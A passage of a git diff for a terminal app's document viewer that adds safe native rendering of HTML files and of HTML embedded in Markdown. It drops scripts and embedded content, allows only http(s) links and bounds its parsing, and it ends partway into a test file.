a safe http(s) URL, so a hostile * `[docs](javascript:...)` or `[x](file:///...)` renders as plain text. Parsing is linear and bounded: a span's * delimiters never nest more than a few levels and unmatched delimiters stay literal text. + * + * With `html` (what `/view` shows, QA F01) a few HTML tags are read too: b/strong, i/em, s/del, code/kbd, a (the same + * http(s)-only rule), img (its alt text), br, and script-like elements dropped with their content; any other known + * element's tags are dropped and its text kept, and an unknown `<word>` stays text. Without it, tags are text. */ export interface InlineStyle { @@ -38,28 +43,22 @@ function safeLink(url: string): string | undefined { return target && /^https?:/u.test(target) ? target : undefined; } -const INVISIBLE = /[\p{Cc}\p{Cf}\p{Co}\p{Zl}\p{Zp}]/u; - -const ENTITIES: Record<string, string> = {amp: '&', lt: '<', gt: '>', quot: '"', apos: "'", nbsp: ' ', copy: '©', reg: '®', mdash: '—', ndash: '–', hellip: '…', rarr: '→', larr: '←', times: '×'}; - -function decodeEntity(source: string, index: number): {text: string; length: number} | undefined { - const match = /^&(?:#(\d{1,7})|#[xX]([0-9a-fA-F]{1,6})|([a-zA-Z]{2,8}));/u.exec(source.slice(index, index + 12)); - if (!match) return undefined; - if (match[3]) { const named = ENTITIES[match[3]]; return named ? {text: named, length: match[0].length} : undefined; } - const code = match[1] ? Number(match[1]) : parseInt(match[2]!, 16); - if (!code || code > 0x10ffff || (code >= 0xd800 && code <= 0xdfff)) return undefined; - const text = String.fromCodePoint(code); - // An entity never smuggles in what the display scrubber removes: controls, bidi and other format characters - // (direction overrides, zero-width joiners), separators or private-use code points. - if (INVISIBLE.test(text)) return undefined; - return {text, length: match[0].length}; +export interface InlineOptions { + /** Read the HTML tags `/view` renders (see the module comment); otherwise tags are text. */ + html?: boolean; } /** Raw tokens before emphasis resolution: literal text, finished spans (code, links) and delimiter runs. */ type Token = | {kind: 'text'; text: string} | {kind: 'span'; span: InlineSpan[]} - | {kind: 'delim'; char: '*' | '_' | '~'; count: number; open: boolean; close: boolean}; + | {kind: 'delim'; char: '*' | '_' | '~'; count: number; open: boolean; close: boolean} + /** An HTML start or end tag that styles what is between (html mode); `target` is a link's refused URL, shown as text. */ + | {kind: 'tag'; style: 'strong' | 'em' | 'strike' | 'link'; open: boolean; link?: string; target?: string}; + +const TAG_STYLES: Record<string, 'strong' | 'em' | 'strike' | 'link'> = {b: 'strong', strong: 'strong', i: 'em', em: 'em', cite: 'em', dfn: 'em', var: 'em', + s: 'strike', del: 'strike', strike: 'strike', a: 'link'}; +const CODE_TAGS = new Set(['code', 'kbd', 'samp', 'tt']); /** The text of a bracket pair starting at `start` (`[`), honoring one level of nested brackets and escapes. */ function bracket(source: string, start: number): number { @@ -162,8 +161,9 @@ function backtickRuns(source: string): Map<number, number[]> { return runs; } -function tokenize(source: string): Token[] { +function tokenize(source: string, options: InlineOptions): Token[] { const tokens: Token[] = []; + const lower = options.html ? source.toLowerCase() : ''; const runs = backtickRuns(source); /** Per run length, how many runs are already behind the scan position. */ const consumed = new Map<number, number>(); @@ -210,6 +210,12 @@ function tokenize(source: string): Token[] { index += auto[0].length; continue; } + const tag = options.html ? readTag(source, index) : undefined; + if (tag && KNOWN.has(tag.name)) { + flush(); + index = htmlTag(tag, source, lower, tokens); + continue; + } } if (char === '!' && source[index + 1] === '[' || char === '[') { const image = char === '!'; @@ -222,7 +228,7 @@ function tokenize(source: string): Token[] { const url = safeLink(target.url); if (image) tokens.push({kind: 'span', span: [{text: label.trim() || 'image', style: {image: true}}]}); else { - const inner = parseInline(label).map(span => ({text: span.text, style: {...span.style, ...(url && !span.style.code ? {link: url} : {})}})); + const inner = parseInline(label, options).map(span => ({text: span.text, style: {...span.style, ...(url && !span.style.code ? {link: url} : {})}})); // A link whose target was refused still shows its text, and the refused target as text so nothing is hidden. tokens.push({kind: 'span', span: url ? inner : [...inner, ...(target.url ? [{text: ` (${target.url.slice(0, 200)})`, style: {}}] : [])]}); } @@ -256,13 +262,49 @@ function tokenize(source: string): Token[] { return tokens; } +/** One HTML tag in html mode: its tokens, and where reading goes on. */ +function htmlTag(tag: NonNullable<ReturnType<typeof readTag>>, source: string, lower: string, tokens: Token[]): number { + const name = tag.name; + // An element dropped with its content (a script, a style, a form control) leaves nothing, up to its end tag. + if (!tag.closing && !tag.selfClosing && (DROPPED.has(name) || RAW_TEXT.has(name))) { + const close = lower.indexOf(`</${name}`, tag.end); + const end = close < 0 ? -1 : source.indexOf('>', close); + return end < 0 ? source.length : end + 1; + } + if (tag.closing) { + const style = TAG_STYLES[name]; + if (style) tokens.push({kind: 'tag', style, open: false}); + return tag.end; + } + if (name === 'br') { tokens.push({kind: 'text', text: ' '}); return tag.end; } + if (name === 'img') { tokens.push({kind: 'span', span: [{text: imageLabel(tag.attributes), style: {image: true}}]}); return tag.end; } + if (name === 'input' && tag.attributes.type?.toLowerCase() === 'checkbox') { tokens.push({kind: 'text', text: 'checked' in tag.attributes ? '☑ ' : '☐ '}); return tag.end; } + if (CODE_TAGS.has(name) && !tag.selfClosing) { + // Code is literal: its text up to the end tag, any markup inside dropped, references decoded (safely). + const close = lower.indexOf(`</${name}`, tag.end); + if (close < 0) return tag.end; + const end = source.indexOf('>', close); + const code = decodeEntities(source.slice(tag.end, close).replace(/<[^<>]{0,200}>/gu, '')).replace(/\s+/gu, ' '); + if (code) tokens.push({kind: 'span', span: [{text: code, style: {code: true}}]}); + return end < 0 ? source.length : end + 1; + } + const style = TAG_STYLES[name]; + if (style === 'link') { + const target = decodeEntities(tag.attributes.href ?? '').trim(); + const link = target ? safeLink(target) : undefined; + tokens.push({kind: 'tag', style, open: true, ...(link ? {link} : {}), ...(!link && target ? {target: target.slice(0, 200)} : {})}); + } else if (style) tokens.push({kind: 'tag', style, open: true}); + // Any other known element: its tags go, its text stays. + return tag.end; +} + /** * Resolve emphasis with a simplified CommonMark delimiter stack: a closer pairs with the nearest compatible opener of * the same character; two or more on both sides make strong, `~~` makes strikethrough. Unpaired delimiters become text. */ function resolve(tokens: Token[]): InlineSpan[] { type Delim = {kind: 'delim'; char: '*' | '_' | '~'; count: number; length: number; open: boolean; close: boolean}; - type Node = {kind: 'text'; text: string} | {kind: 'span'; span: InlineSpan[]} | Delim; + type Node = Exclude<Token, {kind: 'delim'}> | Delim; const nodes: Node[] = tokens.map(token => token.kind === 'delim' ? {...token, length: token.count} : token); type Wrap = {from: number; to: number; style: 'strong' | 'em' | 'strike'}; const wraps: Wrap[] = []; @@ -294,6 +336,9 @@ function resolve(tokens: Token[]): InlineSpan[] { } const spans: InlineSpan[] = []; const active = {strong: 0, em: 0, strike: 0}; + // HTML tags (html mode) style what they enclose; links nest, the innermost wins. + const tagged = {strong: 0, em: 0, strike: 0}; + const links: Array<{link?: string; target?: string}> = []; const starting = new Map<number, Wrap[]>(), ending = new Map<number, Wrap[]>(); for (const wrap of wraps) { starting.set(wrap.from, [...(starting.get(wrap.from) ?? []), wrap]); @@ -303,7 +348,21 @@ function resolve(tokens: Token[]): InlineSpan[] { // Leftover delimiter characters sit outside their pair: close before the closer, open after the opener. for (const wrap of ending.get(position) ?? []) active[wrap.style]--; const node = nodes[position]!; - const style: InlineStyle = {...(active.strong > 0 ? {strong: true} : {}), ...(active.em > 0 ? {em: true} : {}), ...(active.strike > 0 ? {strike: true} : {})}; + if (node.kind === 'tag') { + if (node.style === 'link') { + if (node.open) links.push({...(node.link ? {link: node.link} : {}), ...(node.target ? {target: node.target} : {})}); + else { + const closed = links.pop(); + // A link whose target was refused still shows its text, and the refused target as text so nothing is hidden. + if (closed?.target) spans.push({text: ` (${closed.target})`, style: {}}); + } + } else if (node.open) tagged[node.style]++; + else if (tagged[node.style] > 0) tagged[node.style]--; + continue; + } + const link = links.at(-1)?.link; + const style: InlineStyle = {...(active.strong + tagged.strong > 0 ? {strong: true} : {}), ...(active.em + tagged.em > 0 ? {em: true} : {}), + ...(active.strike + tagged.strike > 0 ? {strike: true} : {}), ...(link ? {link} : {})}; if (node.kind === 'text') spans.push({text: node.text, style}); else if (node.kind === 'span') for (const span of node.span) spans.push({text: span.text, style: {...style, ...span.style}}); else if (node.count > 0) spans.push({text: node.char.repeat(node.count), style}); @@ -320,9 +379,9 @@ function resolve(tokens: Token[]): InlineSpan[] { } /** Inline spans for one paragraph's source text. Soft line breaks become spaces; text past the bound stays plain. */ -export function parseInline(source: string): InlineSpan[] { +export function parseInline(source: string, options: InlineOptions = {}): InlineSpan[] { const bounded = source.length > MAX_INLINE ? source.slice(0, MAX_INLINE) : source; - const spans = resolve(tokenize(softBreaks(bounded))); + const spans = resolve(tokenize(softBreaks(bounded), options)); if (bounded.length < source.length) spans.push({text: softBreaks(source.slice(MAX_INLINE)), style: {}}); return spans; } @@ -335,6 +394,6 @@ function softBreaks(text: string): string { } /** The text a reader sees, without styling (search, copy-visible, width measurement). */ -export function plainInline(source: string): string { - return parseInline(source).map(span => span.text).join(''); +export function plainInline(source: string, options: InlineOptions = {}): string { + return parseInline(source, options).map(span => span.text).join(''); } diff --git a/src/markdown/markup.ts b/src/markdown/markup.ts new file mode 100644 index 00000000..22201f14 --- /dev/null +++ b/src/markdown/markup.ts @@ -0,0 +1,134 @@ +/** + * The pieces of HTML that `/view` reads (QA F01): character references and single tags, read by bounded linear scans. + * Nothing here builds a document, resolves a URL, loads a resource or runs anything. Shared by the HTML converter + * (html.ts) and the inline parser, which reads the same tags inside Markdown. + */ + +const ENTITIES: Record<string, string> = {amp: '&', lt: '<', gt: '>', quot: '"', apos: "'", nbsp: ' ', copy: '©', reg: '®', mdash: '—', ndash: '–', hellip: '…', rarr: '→', larr: '←', times: '×'}; + +const INVISIBLE = /[\p{Cc}\p{Cf}\p{Co}\p{Zl}\p{Zp}]/u; + +/** One character reference at `index`, or undefined. */ +export function decodeEntity(source: string, index: number): {text: string; length: number} | undefined { + const match = /^&(?:#(\d{1,7})|#[xX]([0-9a-fA-F]{1,6})|([a-zA-Z]{2,8}));/u.exec(source.slice(index, index + 12)); + if (!match) return undefined; + if (match[3]) { const named = ENTITIES[match[3]]; return named ? {text: named, length: match[0].length} : undefined; } + const code = match[1] ? Number(match[1]) : parseInt(match[2]!, 16); + if (!code || code > 0x10ffff || (code >= 0xd800 && code <= 0xdfff)) return undefined; + const text = String.fromCodePoint(code); + // An entity never smuggles in what the display scrubber removes: controls, bidi and other format characters + // (direction overrides, zero-width joiners), separators or private-use code points. + if (INVISIBLE.test(text)) return undefined; + return {text, length: match[0].length}; +} + +/** Every character reference in `text` decoded (unknown or unsafe ones stay as written). */ +export function decodeEntities(text: string): string { + if (!text.includes('&')) return text; + let out = ''; + for (let index = 0; index < text.length;) { + const entity = text[index] === '&' ? decodeEntity(text, index) : undefined; + if (entity) { out += entity.text; index += entity.length; } else { out += text[index]; index += 1; } + } + return out; +} + +/** How far one tag may run, and how much of an attribute value is kept. */ +const MAX_TAG = 4096; +const MAX_ATTRIBUTE = 2048; + +export interface Tag { + /** Lowercase element name. */ + name: string; + closing: boolean; + selfClosing: boolean; + /** Lowercase attribute names; raw values (references not decoded), each at most MAX_ATTRIBUTE characters. */ + attributes: Record<string, string>; + /** Index just past the tag's `>`. */ + end: number; +} + +const NAME_START = /[A-Za-z]/u; +const NAME = /[A-Za-z0-9-]/u; +const SPACE = /[\s]/u; + +/** The tag starting at `start` (a `<`), or undefined when it is not one (then the `<` is text). */ +export function readTag(source: string, start: number): Tag | undefined { + const limit = Math.min(source.length, start + MAX_TAG); + let index = start + 1; + const closing = source[index] === '/'; + if (closing) index += 1; + if (!NAME_START.test(source[index] ?? '')) return undefined; + const nameStart = index; + while (index < limit && NAME.test(source[index]!) && index - nameStart < 32) index += 1; + const name = source.slice(nameStart, index).toLowerCase(); + if (index < limit && !SPACE.test(source[index]!) && source[index] !== '>' && source[index] !== '/') return undefined; + const attributes: Record<string, string> = Object.create(null) as Record<string, string>; + let count = 0; + while (index < limit) { + while (index < limit && SPACE.test(source[index]!)) index += 1; + const char = source[index]; + if (char === '>') return {name, closing, selfClosing: false, attributes, end: index + 1}; + if (char === '/' && source[index + 1] === '>') return {name, closing, selfClosing: true, attributes, end: index + 2}; + if (char === '/') { index += 1; continue; } + if (char === undefined || char === '<') return undefined; + const keyStart = index; + while (index < limit && !SPACE.test(source[index]!) && !'"\'>/=<'.includes(source[index]!)) index += 1; + const key = source.slice(keyStart, Math.min(index, keyStart + 64)).toLowerCase(); + if (index === keyStart) { index += 1; continue; } + while (index < limit && SPACE.test(source[index]!)) index += 1; + let value = ''; + if (source[index] === '=') { + index += 1; + while (index < limit && SPACE.test(source[index]!)) index += 1; + const quote = source[index]; + if (quote === '"' || quote === "'") { + const close = source.indexOf(quote, index + 1); + if (close < 0 || close >= limit) return undefined; + value = source.slice(index + 1, close); + index = close + 1; + } else { + const valueStart = index; + while (index < limit && !SPACE.test(source[index]!) && source[index] !== '>') index += 1; + value = source.slice(valueStart, index); + } + } + // Only the first of a repeated attribute counts, and a hostile tag cannot make the record unbounded. + if (!(key in attributes) && count < 64) { attributes[key] = value.slice(0, MAX_ATTRIBUTE); count += 1; } + } + return undefined; +} + +/** Elements with no content or end tag. */ +export const VOID = new Set(['area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']); + +/** + * Elements dropped with everything in them: code (script), styling (style), templates and fallbacks for scripts, + * embedded or interactive content, and the document's metadata. None of it is shown, loaded or run. + */ +export const DROPPED = new Set(['script', 'style', 'template', 'noscript', 'iframe', 'object', 'embed', 'applet', 'svg', 'math', 'canvas', 'audio', 'video', + 'form', 'button', 'select', 'textarea', 'option', 'optgroup', 'datalist', 'head', 'title', 'meta', 'link', 'base', 'frame', 'frameset', 'noframes', 'dialog', + 'map', 'portal', 'xmp', 'plaintext', 'noembed', 'slot']); + +/** Elements whose content is raw text up to their end tag: never read as markup (all of them are dropped). */ +export const RAW_TEXT = new Set(['script', 'style', 'textarea', 'title', 'xmp', 'plaintext', 'noscript', 'iframe', 'noembed', 'noframes', 'template']); + +/** Block-level elements (CommonMark's HTML block names, and a few more containers). */ +export const BLOCK = new Set(['address', 'article', 'aside', 'blockquote', 'body', 'caption', 'center', 'colgroup', 'dd', 'details', 'dir', 'div', 'dl', 'dt', + 'fieldset', 'figcaption', 'figure', 'footer', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'hgroup', 'hr', 'html', 'legend', 'li', 'main', 'menu', 'nav', 'ol', + 'p', 'pre', 'search', 'section', 'summary', 'table', 'tbody', 'td', 'tfoot', 'th', 'thead', 'tr', 'ul']); + +/** Inline elements read for their meaning (emphasis, code, links, images, breaks) or just for their text. */ +export const INLINE = new Set(['a', 'abbr', 'b', 'bdi', 'big', 'br', 'cite', 'code', 'data', 'del', 'dfn', 'em', 'font', 'i', 'img', 'input', 'ins', 'kbd', + 'label', 'mark', 'picture', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'small', 'source', 'span', 'strike', 'strong', 'sub', 'sup', 'time', 'tt', 'u', 'var', 'wbr', 'col', 'track', 'param', 'area', 'keygen']); + +/** Names NMSh reads as HTML at all; any other `<word>` stays text (`a generic <T>`). */ +export const KNOWN = new Set([...VOID, ...DROPPED, ...RAW_TEXT, ...BLOCK, ...INLINE]); + +/** An image's words: its alt text, else its file name, else "image". */ +export function imageLabel(attributes: Record<string, string>): string { + const alt = decodeEntities(attributes.alt ?? '').replace(/\s+/gu, ' ').trim(); + if (alt) return alt.slice(0, 300); + const name = decodeEntities(attributes.src ?? '').split(/[?#]/u)[0]!.split('/').filter(Boolean).pop() ?? ''; + return name.slice(0, 120) || 'image'; +} diff --git a/src/markdown/render.ts b/src/markdown/render.ts index 001079a3..7fe8aa36 100644 --- a/src/markdown/render.ts +++ b/src/markdown/render.ts @@ -6,6 +6,7 @@ import type {SyntaxSgr} from '../input/syntaxTheme.js'; import {displayWidth, truncateAnsi} from '../util/text.js'; import {stripTerminalControls} from '../util/terminalControls.js'; import {parseBlocks, type Alignment, type Block} from './blocks.js'; +import {htmlToBlocks} from './html.js'; import {highlightCode, type CodeTokenKind} from './highlight.js'; import {parseInline, plainInline, type InlineSpan, type InlineStyle} from './inline.js'; @@ -37,6 +38,8 @@ export interface MarkdownOptions { syntax?: SyntaxSgr; /** Base text role for prose (agent replies use primary; quieter contexts may pass secondary). */ tone?: 'primary' | 'secondary'; + /** Render HTML inside the Markdown (`/view`, QA F01); otherwise tags are shown as text. */ + html?: boolean; } const RESET = '\u001b[0m'; @@ -54,6 +57,7 @@ interface Context { fg: (color: RgbColor) => string; tone: RgbColor; codeIndex: number; + html: boolean; } function glyph(context: Context, nerd: string, safe: string): string { @@ -188,7 +192,7 @@ function wrapAtoms(atoms: readonly Atom[], width: number, first: string, rest: s function inlineRows(source: string, width: number, context: Context, base: string, first = '', rest = first): Array<{ansi: string; plain: string}> { // A hard break inside a paragraph is a new row with the same hanging indent. - return source.split('\n').flatMap((line, index) => wrapAtoms(atomsOf(parseInline(line), context, base), width, index === 0 ? first : rest, rest)); + return source.split('\n').flatMap((line, index) => wrapAtoms(atomsOf(parseInline(line, {html: context.html}), context, base), width, index === 0 ? first : rest, rest)); } // ---- Code --------------------------------------------------------------------------------------------------------- @@ -216,7 +220,7 @@ function tokenSgr(kind: CodeTokenKind, context: Context): string { export function codeTokenStyle(kind: CodeTokenKind, options: {syntax?: SyntaxSgr; level?: ColorLevel} = {}): string { const level = options.level ?? colorLevel(); return tokenSgr(kind, {level, safe: false, hyperlinks: false, ...(options.syntax ? {syntax: options.syntax} : {}), - fg: color => colorEscape(38, color, level), tone: UI_COLORS.primary, codeIndex: 0}); + fg: color => colorEscape(38, color, level), tone: UI_COLORS.primary, codeIndex: 0, html: false}); } function codeRows(block: Extract<Block, {kind: 'code'}>, width: number, context: Context): MarkdownRow[] { @@ -264,11 +268,11 @@ function alignCell(text: string, width: number, align: Alignment): string { function tableRows(block: Extract<Block, {kind: 'table'}>, width: number, context: Context): MarkdownRow[] { const columns = block.header.length; const all = [block.header, ...block.rows]; - const natural = Array.from({length: columns}, (_, column) => Math.max(1, ...all.map(row => displayWidth(plainInline(row[column] ?? ''))))); + const natural = Array.from({length: columns}, (_, column) => Math.max(1, ...all.map(row => displayWidth(plainInline(row[column] ?? '', {html: context.html}))))); const separator = glyph(context, ' │ ', ' | '); const chrome = 3 * (columns - 1); const available = width - chrome; - const minimum = Array.from({length: columns}, (_, column) => Math.min(natural[column]!, Math.max(3, Math.min(10, ...[block.header[column] ?? ''].map(cell => displayWidth(plainInline(cell))))))); + const minimum = Array.from({length: columns}, (_, column) => Math.min(natural[column]!, Math.max(3, Math.min(10, ...[block.header[column] ?? ''].map(cell => displayWidth(plainInline(cell, {html: context.html}))))))); if (available < minimum.reduce((a, b) => a + b, 0)) { // Too narrow for a grid: each row becomes a short record of "Header: value" lines. const rows: MarkdownRow[] = []; @@ -276,7 +280,7 @@ function tableRows(block: Extract<Block, {kind: 'table'}>, width: number, contex block.rows.forEach((row, index) => { if (index) rows.push({ansi: '', plain: '', kind: 'blank'}); row.forEach((cell, column) => { - const label = plainInline(block.header[column] ?? ''); + const label = plainInline(block.header[column] ?? '', {html: context.html}); const lead = `${subtle}${label}:${RESET} `; for (const line of inlineRows(cell || '—', width, context, base, lead, ' ')) rows.push({...line, kind: 'table'}); }); @@ -378,6 +382,15 @@ function renderBlocks(blocks: readonly Block[], width: number, context: Context, /** Rows for untrusted Markdown at `columns` cells. */ export function renderMarkdown(source: string, columns: number, options: MarkdownOptions = {}): MarkdownRow[] { + return renderSource(source, columns, options, safe => parseBlocks(safe, {html: Boolean(options.html)})); +} + +/** Rows for an untrusted HTML document at `columns` cells (`/view`, QA F01): its supported subset, never run or loaded. */ +export function renderHtml(source: string, columns: number, options: Omit<MarkdownOptions, 'html'> = {}): MarkdownRow[] { + return renderSource(source, columns, {...options, html: true}, htmlToBlocks); +} + +function renderSource(source: string, columns: number, options: MarkdownOptions, parse: (safe: string) => Block[]): MarkdownRow[] { const width = Math.max(4, columns); const level = options.level ?? colorLevel(); const context: Context = { @@ -388,10 +401,11 @@ export function renderMarkdown(source: string, columns: number, options: Markdow fg: color => colorEscape(38, color, level), tone: options.tone === 'secondary' ? UI_COLORS.secondary : UI_COLORS.primary, codeIndex: 0, + html: Boolean(options.html), }; // The renderer never trusts its caller to have scrubbed: terminal controls and bidi formatting go, tabs become spaces. const safe = source.split('\n').map(line => stripTerminalControls(line.replace(/\t/gu, ' '), Number.MAX_SAFE_INTEGER)).join('\n'); - const rows = renderBlocks(parseBlocks(safe), width, context, 0); + const rows = renderBlocks(parse(safe), width, context, 0); while (rows.length && rows.at(-1)!.kind === 'blank') rows.pop(); // A last line of defence: no row may exceed the width whatever a rule above computed. return rows.map(row => displayWidth(row.ansi) > width ? {...row, ansi: truncateAnsi(row.ansi, width)} : row); diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index e4759eec..6d383a6f 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -1,7 +1,7 @@ import type {Key} from '../terminal/keys.js'; import type {SyntaxSgr} from '../input/syntaxTheme.js'; import {graphemes} from '../input/inputLayout.js'; -import {codeTokenStyle, renderMarkdown, type MarkdownRow} from '../markdown/render.js'; +import {codeTokenStyle, renderHtml, renderMarkdown, type MarkdownRow} from '../markdown/render.js'; import {highlightCode, type CodeToken} from '../markdown/highlight.js'; import {colorLevel} from '../presentation/capabilities.js'; import {renderControlRows} from '../ui/controls.js'; @@ -14,9 +14,10 @@ import {formatBytes, inert, type ViewDocument} from './document.js'; /** * The native read-only viewer (#397): one document in a full-height panel, never the transcript. Drawing is bounded * to what is visible: only the lines on screen are laid out, one wrapped line takes at most MAX_WRAP_ROWS rows, syntax - * roles cover the first HIGHLIGHT_LINES lines and Markdown renders up to RENDER_MARKDOWN_BYTES. Every character is - * drawn inert: control and format characters (bidi overrides, zero-width marks) are shown as visible marks and tabs - * as spaces, and Markdown links are links only for the renderer's allowed targets. + * roles cover the first HIGHLIGHT_LINES lines and Markdown and HTML render up to RENDER_MARKDOWN_BYTES. Every character + * is drawn inert: control and format characters (bidi overrides, zero-width marks) are shown as visible marks and tabs + * as spaces, and links are links only for the renderer's allowed targets. HTML (a file, or inside Markdown) is + * rendered natively from its supported subset: never run, styled by CSS or loaded (QA F01). */ const HIGHLIGHT_LINES = 20_000; @@ -63,11 +64,16 @@ export type ViewerAction = {kind: 'close'} | {kind: 'copy'; text: string; lines: export interface ViewerLook {syntax?: SyntaxSgr; hyperlinks?: boolean} export function createViewer(document: ViewDocument): ViewerState { - const markdown = document.format === 'markdown' && Buffer.byteLength(document.text) <= RENDER_MARKDOWN_BYTES; - const note = document.format === 'markdown' && !markdown ? 'Too large to render: showing the Markdown source.' : undefined; + const renderable = renders(document); + const markdown = renderable && Buffer.byteLength(document.text) <= RENDER_MARKDOWN_BYTES; + const note = renderable && !markdown ? `Too large to render: showing the ${sourceName(document)} source.` : undefined; return {document, top: 0, sub: 0, left: 0, wrap: true, numbers: !markdown, rendered: markdown, ...(note ? {note} : {})}; } +/** Markdown and HTML have a rendered view beside their source. */ +const renders = (document: ViewDocument) => document.format === 'markdown' || document.format === 'html'; +const sourceName = (document: ViewDocument) => document.format === 'html' ? 'HTML' : 'Markdown'; + // ---- Text --------------------------------------------------------------------------------------------------------- /** Characters drawn as visible marks: controls (not tab) and invisible format, line and paragraph separators. */ @@ -144,7 +150,8 @@ function gutterWidth(state: ViewerState): number { function markdownRows(state: ViewerState, width: number, look: ViewerLook): MarkdownRow[] { if (state.markdown?.width !== width) { - state.markdown = {width, rows: renderMarkdown(state.document.text, width, {...(look.syntax ? {syntax: look.syntax} : {}), hyperlinks: Boolean(look.hyperlinks)})}; + const options = {...(look.syntax ? {syntax: look.syntax} : {}), hyperlinks: Boolean(look.hyperlinks)}; + state.markdown = {width, rows: state.document.format === 'html' ? renderHtml(state.document.text, width, options) : renderMarkdown(state.document.text, width, {...options, html: true})}; } return state.markdown.rows; } @@ -393,8 +400,8 @@ export function viewerKey(state: ViewerState, key: Key, columns: number, height: else if ((key.kind === 'left' || key.kind === 'right') && !state.wrap && !state.rendered) state.left = Math.max(0, state.left + (key.kind === 'left' ? -HORIZONTAL_STEP : HORIZONTAL_STEP)); else if (text === 'w' && !state.rendered) { state.wrap = !state.wrap; state.left = 0; state.sub = 0; clampTop(state, width, body, look); } else if (text === 'l' && !state.rendered) { state.numbers = !state.numbers; state.sub = 0; } - else if (text === 'm' && state.document.format === 'markdown') { - if (!state.rendered && Buffer.byteLength(state.document.text) > RENDER_MARKDOWN_BYTES) state.note = 'Too large to render: showing the Markdown source.'; + else if (text === 'm' && renders(state.document)) { + if (!state.rendered && Buffer.byteLength(state.document.text) > RENDER_MARKDOWN_BYTES) state.note = `Too large to render: showing the ${sourceName(state.document)} source.`; else { state.rendered = !state.rendered; state.numbers = !state.rendered; state.top = 0; state.sub = 0; state.match = undefined; state.matchCount = undefined; } } else if (text === '/' || key.kind === 'find') state.input = {kind: 'search', value: state.query ?? ''}; @@ -416,7 +423,7 @@ function detail(document: ViewDocument): string { const status = document.origin.exitCode === undefined ? '' : ` · exit ${document.origin.exitCode}`; return `output ${document.origin.number}${status} · ${lines}${document.format === 'diff' ? ' · diff' : ''}`; } - const kind = document.format === 'markdown' ? 'Markdown' : document.format === 'diff' ? 'diff' : document.language ?? 'text'; + const kind = document.format === 'markdown' ? 'Markdown' : document.format === 'html' ? 'HTML' : document.format === 'diff' ? 'diff' : document.language ?? 'text'; const ending = document.lineEnding === 'crlf' ? ' · CRLF' : document.lineEnding === 'mixed' ? ' · mixed line endings' : ''; const link = document.origin.symlink ? ` · → ${inert(document.origin.realPath)}` : ''; return `${kind} · ${lines} · ${formatBytes(document.origin.bytes)}${ending}${link}`; @@ -440,7 +447,7 @@ function controls(state: ViewerState, columns: number): string[] { if (state.input) return renderControlRows([['Enter', state.input.kind === 'search' ? 'find' : 'go'], ['Esc', 'cancel']], width); return renderControlRows([ ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], - ...(state.document.format === 'markdown' ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), + ...(renders(state.document) ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), ...(!state.rendered ? [['w', state.wrap ? 'no wrap' : 'wrap'] as const, ['l', 'numbers'] as const] : []), ['c', 'copy all'], ...(state.document.origin.kind === 'file' ? [['e', 'edit'] as const, ['o', 'open in editor'] as const] : []), ['Esc', 'close'], ], width); diff --git a/src/viewer/document.ts b/src/viewer/document.ts index e27db3df..3ef6ef77 100644 --- a/src/viewer/document.ts +++ b/src/viewer/document.ts @@ -17,7 +17,8 @@ export const MAX_VIEW_LINES = 200_000; const SNIFF_BYTES = 8192; const CHUNK = 64 * 1024; -export type DocumentFormat = 'text' | 'markdown' | 'diff'; +/** html: rendered natively, never run or loaded (QA F01). */ +export type DocumentFormat = 'text' | 'markdown' | 'html' | 'diff'; export type DocumentOrigin = | {kind: 'file'; path: string; realPath: string; symlink: boolean; bytes: number; mtimeMs: number} @@ -63,11 +64,12 @@ export function displayPath(path: string, home = homedir()): string { const FILE_NAMES: Record<string, string> = {makefile: 'makefile', gnumakefile: 'makefile', dockerfile: 'dockerfile', containerfile: 'dockerfile', '.bashrc': 'shell', '.zshrc': 'shell', '.zshenv': 'shell', '.profile': 'shell', '.bash_profile': 'shell', 'config.fish': 'fish', justfile: 'makefile'}; -/** How a file reads: Markdown and diffs by their extension, syntax roles by extension or well-known name. */ +/** How a file reads: Markdown, HTML and diffs by their extension, syntax roles by extension or well-known name. */ export function formatForPath(path: string): {format: DocumentFormat; language?: string} { const name = basename(path).toLowerCase(); const extension = extname(name).slice(1); if (extension === 'md' || extension === 'markdown' || extension === 'mdx') return {format: 'markdown', language: 'markdown'}; + if (extension === 'html' || extension === 'htm' || extension === 'xhtml') return {format: 'html', language: languageId('html') ?? 'markup'}; if (extension === 'diff' || extension === 'patch') return {format: 'diff', language: 'diff'}; const language = languageId(FILE_NAMES[name] ?? extension); return {format: 'text', ...(language ? {language} : {})}; diff --git a/tests/viewHtml.test.ts b/tests/viewHtml.test.ts new file mode 100644 index 00000000..c0b26d6e --- /dev/null +++ b/tests/viewHtml.test.ts @@ -0,0 +1,191 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {readFileSync} from 'node:fs'; +import {renderHtml, renderMarkdown} from '../src/markdown/render.js'; +import {formatForPath, type ViewDocument} from '../src/viewer/document.js'; +import {createViewer, renderViewer, viewerKey} from '../src/viewer/ViewerPanel.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +/** + * QA F01 (v0.22): `/view` showed a README's embedded HTML (`<picture>`, `<img>`, `<div>`) literally. HTML is now + * rendered natively, as terminal rows, for HTML files and for HTML inside Markdown that `/view` shows: a supported + * subset (headings, paragraphs, lists, tables, code, quotes, rules, inline emphasis, code, links and images) mapped onto + * the Markdown renderer's own blocks. Nothing is executed, fetched or read: scripts, styles, embedded content and event + * handlers are dropped, CSS is ignored, an image is its alt text, links follow the renderer's http(s)-only rule, and + * the parser is linear and bounded in depth, tags and attribute length. Agent replies and GitHub bodies keep showing + * tags as text: HTML is rendered only where `/view` asks for it. + */ + +const plain = (rows: ReadonlyArray<{plain: string}>) => rows.map(row => row.plain).join('\n'); +const markdown = (source: string, columns = 80) => renderMarkdown(source, columns, {level: 'truecolor', glyphs: 'nerd', html: true}); +const html = (source: string, columns = 80, hyperlinks = false) => renderHtml(source, columns, {level: 'truecolor', glyphs: 'nerd', hyperlinks}); + +const README = `<div align="center"> + +<picture> + <source media="(prefers-color-scheme: dark)" srcset="docs/logo-dark.png"> + <img alt="NMSh 